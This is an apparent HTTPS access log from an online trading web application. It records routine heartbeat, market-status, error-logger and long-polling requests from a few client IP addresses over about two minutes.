[09/Jan/2026:15:32:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:32:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1626
[09/Jan/2026:15:32:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944216603 HTTP/1.1" -
[09/Jan/2026:15:32:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944216623 HTTP/1.1" -
[09/Jan/2026:15:32:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944219063 HTTP/1.1" -
[09/Jan/2026:15:32:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944235876 HTTP/1.1" -
[09/Jan/2026:15:32:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944221632 HTTP/1.1" -
[09/Jan/2026:15:32:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944221674 HTTP/1.1" -
[09/Jan/2026:15:32:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944224115 HTTP/1.1" -
[09/Jan/2026:15:32:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944241192 HTTP/1.1" -
[09/Jan/2026:15:32:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944226657 HTTP/1.1" -
[09/Jan/2026:15:32:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944226834 HTTP/1.1" -
[09/Jan/2026:15:32:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944229264 HTTP/1.1" -
[09/Jan/2026:15:32:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944247186 HTTP/1.1" -
[09/Jan/2026:15:32:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944231696 HTTP/1.1" -
[09/Jan/2026:15:32:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944231922 HTTP/1.1" -
[09/Jan/2026:15:32:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944234566 HTTP/1.1" -
[09/Jan/2026:15:32:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944236724 HTTP/1.1" -
[09/Jan/2026:15:32:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944237056 HTTP/1.1" -
[09/Jan/2026:15:32:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944239637 HTTP/1.1" -
[09/Jan/2026:15:32:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944241769 HTTP/1.1" -
[09/Jan/2026:15:32:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944242191 HTTP/1.1" -
[09/Jan/2026:15:32:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944244716 HTTP/1.1" -
[09/Jan/2026:15:32:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:32:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944246802 HTTP/1.1" -
[09/Jan/2026:15:32:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:32:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:32:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944247321 HTTP/1.1" -
[09/Jan/2026:15:33:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944251820 HTTP/1.1" -
[09/Jan/2026:15:33:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944252370 HTTP/1.1" -
[09/Jan/2026:15:33:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:33:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:33:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944256844 HTTP/1.1" -
[09/Jan/2026:15:33:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944257526 HTTP/1.1" -
[09/Jan/2026:15:33:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944261870 HTTP/1.1" -
[09/Jan/2026:15:33:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944262589 HTTP/1.1" -
[09/Jan/2026:15:33:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944266902 HTTP/1.1" -
[09/Jan/2026:15:33:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944267734 HTTP/1.1" -
[09/Jan/2026:15:33:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944271937 HTTP/1.1" -
[09/Jan/2026:15:33:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944272869 HTTP/1.1" -
[09/Jan/2026:15:33:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:33:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944276999 HTTP/1.1" -
[09/Jan/2026:15:33:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:33:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944278044 HTTP/1.1" -
[09/Jan/2026:15:33:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944282031 HTTP/1.1" -
[09/Jan/2026:15:33:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944283106 HTTP/1.1" -
[09/Jan/2026:15:33:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:33:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:33:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944287064 HTTP/1.1" -
[09/Jan/2026:15:33:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944288253 HTTP/1.1" -
[09/Jan/2026:15:33:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944292098 HTTP/1.1" -
[09/Jan/2026:15:33:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944293308 HTTP/1.1" -
[09/Jan/2026:15:33:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944297140 HTTP/1.1" -
[09/Jan/2026:15:33:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944298488 HTTP/1.1" -
[09/Jan/2026:15:33:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944302165 HTTP/1.1" -
[09/Jan/2026:15:33:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944303666 HTTP/1.1" -
[09/Jan/2026:15:33:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:33:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944307183 HTTP/1.1" -
[09/Jan/2026:15:33:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:33:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:33:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944308793 HTTP/1.1" -
[09/Jan/2026:15:34:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944312221 HTTP/1.1" -
[09/Jan/2026:15:34:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944313904 HTTP/1.1" -
[09/Jan/2026:15:34:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944317253 HTTP/1.1" -
[09/Jan/2026:15:34:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944319050 HTTP/1.1" -
[09/Jan/2026:15:34:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944322274 HTTP/1.1" -
[09/Jan/2026:15:34:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944324163 HTTP/1.1" -
[09/Jan/2026:15:34:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944327310 HTTP/1.1" -
